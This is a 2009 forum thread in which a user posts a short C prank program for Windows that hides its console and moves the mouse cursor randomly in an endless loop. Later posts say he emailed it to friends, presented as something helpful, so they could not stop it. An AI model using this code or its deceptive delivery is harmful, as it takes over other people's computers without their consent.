Adblock breaks this site

fun li mouse trick

Discussion in 'Programming General' started by mu-b, Jun 25, 2009.

  1. mu-b

    mu-b War is a Drug
    Banned

    Joined:
    Jun 24, 2009
    Posts:
    1,353
    Referrals:
    2
    Sythe Gold:
    0
    fun li mouse trick

    Code:
    int main(void){
       
        FreeConsole(); /* Hidden console */
       
        /* Get the screen sizes */
        int sw = GetSystemMetrics(SM_CXSCREEN);
        int sh = GetSystemMetrics(SM_CYSCREEN);
       
        for( ;; ){
            srand(GetTickCount()); /* Seed random generator */
            SetCursorPos((rand() % sw) + 1, (rand() % sh) + 1);
           
            /* SetCursorPos function moves the cursor to the specified screen coordinates
           
            how 2 stop - Hit Ctrl-Alt-Del 2gether which wil open the task manager thn using the arrow keyz scroll until program name found den hit the delete key then enter. */
        }
    }
    tri it lol.
     
  2. Darthatron

    Darthatron Massive Troll
    Retired Sectional Moderator Visual Basic Programmers

    Joined:
    May 22, 2006
    Posts:
    1,612
    Referrals:
    3
    Sythe Gold:
    0
    fun li mouse trick

    Well this would be annoying. Did you write it yourself or find it on another site?
     
  3. mu-b

    mu-b War is a Drug
    Banned

    Joined:
    Jun 24, 2009
    Posts:
    1,353
    Referrals:
    2
    Sythe Gold:
    0
    fun li mouse trick

    i wrote it 4 a friend a 2 do on his parents comps a long time ago lol, u tri it?
     
  4. Darthatron

    Darthatron Massive Troll
    Retired Sectional Moderator Visual Basic Programmers

    Joined:
    May 22, 2006
    Posts:
    1,612
    Referrals:
    3
    Sythe Gold:
    0
    fun li mouse trick

    No, I read the code. However if you're posting this so people can learn I think it'd be best to comment it more.
     
  5. owain jones

    owain jones Oldest Firecape Shop
    $200 USD Donor New

    Joined:
    Mar 29, 2008
    Posts:
    3,583
    Referrals:
    5
    Sythe Gold:
    0
    Pizza Muncher Heidy
    fun li mouse trick

    I prefer turning screens sideways
     
  6. mu-b

    mu-b War is a Drug
    Banned

    Joined:
    Jun 24, 2009
    Posts:
    1,353
    Referrals:
    2
    Sythe Gold:
    0
    fun li mouse trick

    i wasn't really posting it so people can learn, i was posting it so people who know what their doing can use it. however if anyone needs help understanding they can contact me through a pm or msn, and i would be obliged to help them.
     
  7. Nathan III

    Nathan III Apprentice

    Joined:
    Jan 24, 2007
    Posts:
    872
    Referrals:
    0
    Sythe Gold:
    0
    fun li mouse trick

    What does it do?
     
  8. Darthatron

    Darthatron Massive Troll
    Retired Sectional Moderator Visual Basic Programmers

    Joined:
    May 22, 2006
    Posts:
    1,612
    Referrals:
    3
    Sythe Gold:
    0
    fun li mouse trick

    It randomly moves the cursor around the screen making it impossible to use it.
     
  9. mu-b

    mu-b War is a Drug
    Banned

    Joined:
    Jun 24, 2009
    Posts:
    1,353
    Referrals:
    2
    Sythe Gold:
    0
    fun li mouse trick

    it's more of a joke used to play on your buddy on his computer. when i made it, i would send it to my friends in their email's, and they wouldn't be able to read what it did so i would tell them it was some that would help them out. told them how to run it and when they would they wouldn't be able to stop it without me doing it for them. i made this when i first started learning how to script, so it's pretty old but still works good.
     
  10. Samyaza

    Samyaza Newcomer

    Joined:
    Mar 5, 2007
    Posts:
    24
    Referrals:
    0
    Sythe Gold:
    0
    fun li mouse trick

    Oh, nice.

    By the way, i found this site: Link to site

    The code looks an awful lot like yours, doesn't it? Even the comments are somewhat the same.
     
  11. mu-b

    mu-b War is a Drug
    Banned

    Joined:
    Jun 24, 2009
    Posts:
    1,353
    Referrals:
    2
    Sythe Gold:
    0
    fun li mouse trick

    if u actually knew wut u wer lukin 4 u wuld see.

    /* Get the screen sizes */
    int sw = GetSystemMetrics(SM_CXSCREEN) - 1;
    int sh = GetSystemMetrics(SM_CYSCREEN) - 1;

    int sw = GetSystemMetrics(SM_CXSCREEN) - 1;

    mine is : int sw = GetSystemMetrics(SM_CXSCREEN);

    as u can see bi the comments u cant use 1; bcuz u wil get a 306 error.

    dnt tri calin sum1 out if u dnt kno, 1. wut ur tlkin bout, and 2. wut ur lukin 4

    also, i did sum research uv y that kid wuz band, for leechin scripts frum MUN, which, if u check my acc ther. i'm an X scriptr. thx
     
< What's wrong with my code? | help >


 
 
Adblock breaks this site